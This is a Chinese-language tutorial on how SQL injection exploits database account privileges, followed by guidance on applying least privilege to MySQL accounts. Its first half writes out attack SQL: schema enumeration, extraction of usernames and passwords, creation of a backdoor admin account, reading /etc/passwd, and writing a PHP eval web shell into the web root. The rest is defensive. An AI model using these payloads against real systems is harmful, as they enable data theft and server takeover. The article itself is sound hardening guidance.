SQL注入攻击的核心是通过输入点向数据库注入恶意SQL指令,当攻击者成功利用漏洞后,所能执行的操作范围完全取决于当前数据库账号的权限等级,不同权限的账号被利用后产生的危害差异极大。
SQL注入利用数据库权限的常见方式
攻击者成功注入后,首先会尝试获取当前账号的权限信息,再基于已有权限执行进一步操作,常见的利用路径如下:
1. 低权限账号的利用方式
如果注入点对应的数据库账号仅拥有普通业务表的查询权限,攻击者通常会先通过注入语句获取数据库的结构信息,比如表名、字段名,再尝试提取业务敏感数据:
-- 获取当前数据库所有表名 SELECT table_name FROM information_schema.tables WHERE table_schema=database(); -- 获取指定表的字段信息 SELECT column_name FROM information_schema.columns WHERE table_name='user_info'; -- 提取用户敏感数据 SELECT username,password,phone FROM user_info;
2. 高权限账号的利用方式
如果注入点对应的账号拥有数据库管理权限,攻击者可以执行更危险的操作,比如创建新账号、修改数据、读取服务器文件甚至执行系统命令:
-- 创建新的数据库账号
CREATE USER 'attack_user'@'%' IDENTIFIED BY 'attack_password';
-- 给新账号赋予所有权限
GRANT ALL PRIVILEGES ON *.* TO 'attack_user'@'%' WITH GRANT OPTION;
-- 读取服务器本地文件
SELECT LOAD_FILE('/etc/passwd');
-- MySQL中通过写文件执行系统命令(需具备文件写入权限)
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
3. 跨库权限的利用
如果当前账号拥有多个数据库的访问权限,攻击者还可以通过注入语句访问其他业务数据库,窃取不同业务线的敏感数据,扩大攻击影响范围。
最小权限原则的实现方法
最小权限原则指的是给数据库账号只分配完成业务功能所必需的最低权限,避免账号拥有多余的操作权限,从根源上限制SQL注入攻击的危害。具体实现可以从以下几个方面入手:
1. 按业务场景拆分数据库账号
不要给所有业务功能使用同一个高权限数据库账号,而是根据业务操作类型拆分不同的账号:
- 查询类业务:仅分配
SELECT权限,限定只能访问指定的业务表 - 写入类业务:分配
INSERT、UPDATE权限,禁止DELETE、DROP等危险操作权限 - 管理类业务:单独分配管理权限账号,严格限制该账号的访问来源,仅允许内部管理系统使用
2. 细化权限分配范围
权限分配要精确到具体的数据库、表、甚至字段,避免给账号分配全局权限:
-- 给查询账号分配仅test_db数据库下user_info表的指定字段查询权限 GRANT SELECT(username,email) ON test_db.user_info TO 'query_user'@'192.168.0.%'; -- 给写入账号分配仅test_db数据库下order表的插入和更新权限 GRANT INSERT,UPDATE ON test_db.order TO 'write_user'@'192.168.0.%';
3. 限制账号的访问来源
数据库账号的host字段不要设置为%,而是限定为具体的业务服务器IP段,避免攻击者从其他机器使用该账号连接数据库:
-- 仅允许192.168.0.0/24网段的服务器使用该账号连接数据库 CREATE USER 'app_user'@'192.168.0.%' IDENTIFIED BY 'strong_password_123';
4. 定期审计权限配置
建立定期权限审计机制,每季度检查所有数据库账号的权限配置,及时回收不再使用的账号、多余的权限,避免权限长期闲置被攻击者利用。
5. 配合其他防护措施
最小权限原则需要和SQL注入的其他防护措施配合使用,比如对用户输入进行参数化查询、使用预编译语句、部署Web应用防火墙,才能构建完整的安全防护体系。
权限配置验证示例
可以通过下面的语句验证账号的权限是否符合最小权限要求:
-- 查看指定账号的所有权限 SHOW GRANTS FOR 'app_user'@'192.168.0.%'; -- 尝试执行超出权限的操作,验证是否被拦截 -- 比如查询账号尝试执行删除操作,应该返回权限不足错误 DELETE FROM user_info WHERE id=1;
合理的权限配置能够将SQL注入攻击的危害降到最低,即使出现注入漏洞,攻击者也无法执行超出业务必需范围的操作,有效保障数据安全。